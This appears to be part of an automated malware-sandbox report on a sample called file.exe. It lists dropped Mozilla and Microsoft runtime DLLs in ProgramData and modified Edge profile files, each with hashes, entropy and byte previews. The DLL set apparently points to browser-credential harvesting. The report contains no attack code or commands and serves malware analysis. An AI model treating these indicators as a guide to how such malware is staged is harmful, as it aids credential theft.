File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ec75350-2a3a-46b1-936d-53d168910e78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46253
Entropy (8bit):	6.0877273165325585
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5XKMpRaLmZnYyXqGETQMPLfFEIIQmxgxC1oLwWE7RTupzKscDX/k:RMk1rT8HPKGzRqhIQ9IoLoRTuiM
MD5:	4A8BCD81E267FAD634DE828314D4D8E6
SHA1:	8DB60953EAD454F068FF6A38BC9F63228E1E6ABD
SHA-256:	04F99EF1AEBA941BC9C120AB033B59B498B9DC00633DA5C6515D47568169A4A7
SHA-512:	8AE4006A77125F899E4CC310579F04E77C82F971A20659E5F7B5D945335A4A246A0DAA7E39E1B973D421B1FAFE86AB09F1A8C1752C9432E8AFF3033F821CA2AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"c16fdb21-222d-4dc1-8462-d4b5b967a13d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732502383"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\263de1a2-bd06-45cc-82d1-5b794ce617e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44641
Entropy (8bit):	6.095801302221455
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/hLmZnYyXqf8B9APFJKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynWRq5KoRTuiVIos
MD5:	4C87AC8352230A5D7B1D694A35EF54BE
SHA1:	CACC27C32F7FD8CDAEF6E671E45E5246ACD36485
SHA-256:	F0B62B376AABB62909D0087B79F5C1E07E21A36794122303F2068007A29302C4
SHA-512:	1F8FCEF815AA31E4D0962F69EC0D2477E21CFCC4411BE3BE9FC86944EA4A1055DA653049A127A9EA12484758BB1DE197DABCCF4387E365E42BECF33B15ADC87C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30a7cc46-f073-4e79-a9de-854b764aab5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46253
Entropy (8bit):	6.0877283878932795
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5XXMpRaLmZnYyXqGETQMPLfFEIIQmxgxC1oLwWE7RTupzKscDX/k:RMk1rT8HPXGzRqhIQ9IoLoRTuiM
MD5:	3CAC7BD992C2FCE0CED8D87D53350EB3
SHA1:	B4BB75EB01990C90F3C4400064B4BEAFA8692A6C
SHA-256:	61CEA370A55906DD1D33E55F5E1DDCBF381DEE6348425483485B16FD75A09D66
SHA-512:	9F0A18961E56BE03328DD735AA687E73EC6F025B51B33F6E7FE5DDC2706E91E0BE687DFAF2D1925A6EFCBFCED60F24B4D628B576C1F16A86402989953C61581C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"c16fdb21-222d-4dc1-8462-d4b5b967a13d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732502383"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5b9eb8c4-4301-45ec-9dbe-a372ac5a40cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44641
Entropy (8bit):	6.095801302221455
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/hLmZnYyXqf8B9APFJKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynWRq5KoRTuiVIos
MD5:	4C87AC8352230A5D7B1D694A35EF54BE
SHA1:	CACC27C32F7FD8CDAEF6E671E45E5246ACD36485
SHA-256:	F0B62B376AABB62909D0087B79F5C1E07E21A36794122303F2068007A29302C4
SHA-512:	1F8FCEF815AA31E4D0962F69EC0D2477E21CFCC4411BE3BE9FC86944EA4A1055DA653049A127A9EA12484758BB1DE197DABCCF4387E365E42BECF33B15ADC87C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\66cb28ce-ecad-47b5-a766-4cee8df46187.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44739
Entropy (8bit):	6.095724532166327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xxchLmZnYyXqZETQMPLfFEIKwWE7RTupzKscDX//NPm:z/Ps+wsI7yOxlRqmKoRTuiVIos
MD5:	C3DFA387A1FCB43E85358307C2170F58
SHA1:	5E700292183E9211405A10F2B8EDA47A61687EFE
SHA-256:	72D166F5162054E3748215260311D393E70C4294707FC269A45F030CADB1B998
SHA-512:	957AE117261BCED84A05FF7D6E8EC6DBD2809363309757159B2EB364F7B8BA9BA1561FEDE30A2CF9127F5B0F405A1B9778C3CE11DFBC8973C349A1DA0AEA1711
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6d22e809-7230-4548-bbdc-eb33a51d6459.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46129
Entropy (8bit):	6.0880519513461415
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5dXMjRaLmZnYyXqZETQMPLfFEIIQmxgxC1oLwWE7RTupzKscDX/k:RMk1rT8H1XKzRqmIQ9IoLoRTuiM
MD5:	E2004A4554430A7D108C7868195494DE
SHA1:	D6DE123C4C9BC6A8730C591D81868037ECA2EC5D
SHA-256:	2D354D4C1DC773FF8A23A223566BAE417A816DD2141E93A8998B7F9F64020939
SHA-512:	9BC6296770D06BACBE3D8EE4AE689F2EF3A51453FA13C03A46878E2F20989B3DBADBFF6DABC5F979E1604FDAB6C20C8E7A896C906BEF932E1E8917FD35200EA6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"c16fdb21-222d-4dc1-8462-d4b5b967a13d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732502383"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7130d570-c475-4792-b669-0df78166d549.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6407e704-3a01-4f8a-8555-574e9b39e1a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
